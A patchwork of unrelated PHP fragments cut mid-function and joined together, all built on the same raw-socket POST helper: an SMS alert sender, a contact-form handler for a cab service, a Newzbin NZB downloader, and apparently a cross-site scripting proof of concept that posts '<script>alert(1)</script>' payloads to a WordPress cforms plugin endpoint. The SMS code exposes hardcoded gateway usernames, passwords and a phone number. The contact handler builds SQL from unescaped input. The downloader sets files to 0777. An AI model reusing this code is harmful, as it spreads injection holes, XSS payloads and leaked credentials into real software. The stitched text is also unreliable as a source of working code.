if ($url['scheme'] != 'http') { die('Only HTTP request are supported !'); } $host = $url['host']; $path = $url['path']; $fp = fsockopen($host, 80); fputs($fp, "POST {$path} HTTP/1.1\r\n"); fputs($fp, "Host: {$host}\r\n"); fputs($fp, "Referer: {$referer}\r\n"); fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n"); fputs($fp, "Content-length: " . strlen($data) . "\r\n"); fputs($fp, "Connection: close\r\n\r\n"); fputs($fp, $data); $result = ''; while (!feof($fp)) { $result .= fgets($fp, 128); } fclose($fp); $result = explode("\r\n\r\n", $result, 2); $header = isset($result[0]) ? $result[0] : ''; $content = isset($result[1]) ? $result[1] : ''; return array($header, $content); } $sql = "SELECT * FROM users"; $sms = array(); $result = mysqli_query($con, $sql); while ($row = mysqli_fetch_assoc($result)) { $data = array('user' => "reynoldregan", 'password' => "135045", 'msisdn' => $row["sms"], 'sid' => "WebSMS", 'msg' => "Hi,There seems to be a suspect in your house. Kindly call your neighbour for assistance.", 'fl' => "0"); list($header, $content) = PostRequest("http://www.smslane.com//vendorsms/pushsms.aspx", "http://www.yourdomain.com/sms.php", $data); echo $content; }
// send the request headers: fputs($fp, "POST {$path} HTTP/1.1\r\n"); fputs($fp, "Host: {$host}\r\n"); fputs($fp, "Referer: {$referer}\r\n"); fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n"); fputs($fp, "Content-length: " . strlen($data) . "\r\n"); fputs($fp, "Connection: close\r\n\r\n"); fputs($fp, $data); $result = ''; while (!feof($fp)) { // receive the results of the request $result .= fgets($fp, 128); } // close the socket connection: fclose($fp); // split the result header from the content $result = explode("\r\n\r\n", $result, 2); $header = isset($result[0]) ? $result[0] : ''; $content = isset($result[1]) ? $result[1] : ''; // return as array: return array($header, $content); } // submit these variables to the server: $data = array('rs' => '<script>alert(1)</script>', 'rst' => '&rsrnd=1287506634854&rsargs[]=1$# $<script>alert(1)</script>$#$rbranco_nospam (at) checkpoint (dot) com [email concealed]$#$http:// www.checkpoint.com$#$<script>alert(1)</script>'); // send a request to example.com (referer = jonasjohn.de) list($header, $content) = PostRequest("http://localhost/wp/wp-content/plugins/cforms/lib_ajax.php", "http://www.jonasjohn.de/", $data); // print the result of the whole request: print $content; ;
fputs($fp, "POST {$path} HTTP/1.1\r\n"); fputs($fp, "Host: {$host}\r\n"); fputs($fp, "Referer: {$referer}\r\n"); fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n"); fputs($fp, "Content-length: " . strlen($data) . "\r\n"); fputs($fp, "Connection: close\r\n\r\n"); fputs($fp, $data); $result = ''; while (!feof($fp)) { // receive the results of the request $result .= fgets($fp, 128); } // close the socket connection: fclose($fp); // split the result header from the content $result = explode("\r\n\r\n", $result, 2); $header = isset($result[0]) ? $result[0] : ''; $content = isset($result[1]) ? $result[1] : ''; // return as array: return array($header, $content); } $data = array('user' => "amistartechnology", 'password' => "809759", 'msisdn' => "919764818204", 'sid' => "websms", 'msg' => $contact_us_data, 'fl' => "0"); list($header, $content) = PostRequest("http://www.smslane.com//vendorsms/pushsms.aspx", "http://www.punecabservices.in/php/insert.php", $data); $msg_id = $content; $query = "INSERT INTO contact(full_name,contact_no,address,service_type,travel_from,travel_to,date_from,date_to,preference,msg_id,request_time)values('{$name}',{$phone_no},'{$address}','{$service_type}','{$src_loc}','{$dest_loc}','{$start_date1}','{$end_date1}','{$preference}','{$msg_id}','{$request_tm}')"; if (!mysql_query($query)) { die('Error: ' . mysql_error()); } //echo "1 record inserted in crate table!"; header("Location: ../index.php"); mysql_close($con);
function GetNzbFromNewzbin($id) { global $NzbDir; global $NewzbinUsername; global $NewzbinPassword; global $NewzbinUseCategories; // Set params up for the request.. // username=xxxxxxx // password=xxxxxxx // reportid=xxxxxxx if ($id === "") { return "Please enter a report ID"; } $id = trim($id); if ($NewzbinUsername == "") { return "Please set Username in Config"; } if ($NewzbinUsername == "") { return "Please set Password in Config"; } $data = array('username' => $NewzbinUsername, 'password' => $NewzbinPassword, 'reportid' => $id); // Post the Request, we will set the referrer url to newzbin, as it makes no sense to refer back to us! list($header, $content) = PostRequest("http://www.newzbin.com/api/dnzb/", "http://www.newzbin.com", $data); // We need to check the Headers, these contain a load of info we can use to validate $header_lines = explode("\r\n", $header, 50); $rcode = ""; $rtext = ""; $rcategory = ""; $rname = ""; $transfer_encoding = ""; $content_encoding = ""; foreach ($header_lines as &$value) { $pos = stripos($value, "X-DNZB-RCode"); if ($pos !== false) { $length = strlen("X-DNZB-RCode:"); $rcode = trim(substr($value, $length)); } $pos = stripos($value, "X-DNZB-RText"); if ($pos !== false) { $length = strlen("X-DNZB-RText:"); $rtext = trim(substr($value, $length)); } $pos = stripos($value, "X-DNZB-Name"); if ($pos !== false) { $length = strlen("X-DNZB-RName:"); $rname = trim(substr($value, $length)); } $pos = stripos($value, "X-DNZB-Category"); if ($pos !== false) { $length = strlen("X-DNZB-Category:"); $rcategory = trim(substr($value, $length)); } $pos = stripos($value, "Transfer-Encoding"); if ($pos !== false) { $length = strlen("Transfer-Encoding:"); $transfer_encoding = strtolower(trim(substr($value, $length))); } $pos = stripos($value, "Content-Encoding"); if ($pos !== false) { $length = strlen("Content-Encoding:"); $content_encoding = strtolower(trim(substr($value, $length))); } } // Now we should have everything we need.. // Check Everything.. if ($rcode === "") { return "Server Response Invalid"; } if ($rcode !== "200") { return $rtext; } if ($rname === "") { return "No NZB Name returned"; } if ($rcategory === "") { return "No Category returned"; } if ($transfer_encoding === "chunked") { $content = decode_Chunked_Content($content); if ($content === false) { return "Response could not be decoded (Chunked)"; } } if ($content_encoding === "gzip") { $content = gzinflate(substr($content, 10)); if ($content === false) { return "Response could not be decoded (GZip)"; } } // now we have the File contents and the Category // We can queue it up // To do this // We should save the file to a 'Category' Sub-directory of the main NzbDir // Then we can tell the NZB Server to queue it $path = "{$NzbDir}"; if ($NewzbinUseCategories === true) { $path = "{$NzbDir}/{$rcategory}"; } if (file_exists($path) == false) { if (mkdir($path, 0777) == false) { return "Could not create NZB Directory"; } else { chmod($path, 0777); } } $nzbfilename = "{$path}/{$rname}.nzb"; if (file_exists($nzbfilename)) { return "NZB already exists, ignoring"; } if (file_exists("{$nzbfilename}.queued")) { return "NZB previously downloaded, ignoring"; } if (file_exists("{$nzbfilename}.error")) { return "NZB has an error"; } $fhandle = fopen($nzbfilename, "w"); if (fwrite($fhandle, $content) == false) { return "Could not save NZB"; } fclose($fhandle); // Ensure File has full permissions chmod($nzbfilename, 0777); // Finally return null indicating we've fetched the news report. return null; }